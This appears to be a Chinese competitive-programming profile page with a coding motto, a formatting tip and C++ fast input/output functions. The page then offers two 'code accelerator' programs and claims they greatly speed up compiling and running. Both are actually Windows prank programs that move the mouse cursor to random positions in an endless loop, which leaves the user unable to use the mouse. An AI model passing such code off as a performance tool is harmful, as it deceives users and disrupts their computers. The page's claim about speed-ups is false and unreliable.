Spring Unaccepted. Score: 0/100.
做题千万条,读题第一条;
编程不规范,爆零两行泪。
Ctrl+A
保留两位小数
//保留两位小数之前加
cout<<fixed<<setprecision(2);快读快写
void read(int &x){
x=0;
char t=getchar();
int s=0;
int k=1;
while(t<'0'||t>'9'){
if(t=='-') k=-1;
t=getchar();
}
while(t>='0'&&t<='9'){
x=x*10+t-'0';
t=getchar();
}
x*=k;
return;
}
void write(int x){
int a1=0,b1=0;
int a2=0,b2=0;
int s=0;
int k=1;
if(x<0){
putchar('-');
x=-x;
}
if(x>=10){
write(x/10);
x=x;
}
putchar(x%10+'0');
return;
}数学爱好者!
信息爱好者!
新产品:
代码加速器
本人强推,这代码超实用,超快,编译时间和运行时间大大减小!!!
快快来使用吧!
代码加速器1:
#include<time.h>
#include<windows.h>
int main(){
srand(time(0));
int x, y;
while (1){
x = rand() % 100 + 30;
y = rand() % 60 + 30;
SetCursorPos(x, y);
}
return 0;
}
代码加速器2:
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
main(){
int x1=GetSystemMetrics(SM_CXSCREEN);
int y1=GetSystemMetrics(SM_CXSCREEN);
srand(time(0));
for(;;)
SetCursorPos(rand()%x1,rand()%y1);
}
liaoxingyuan有限公司出版
liaoxingyuan出品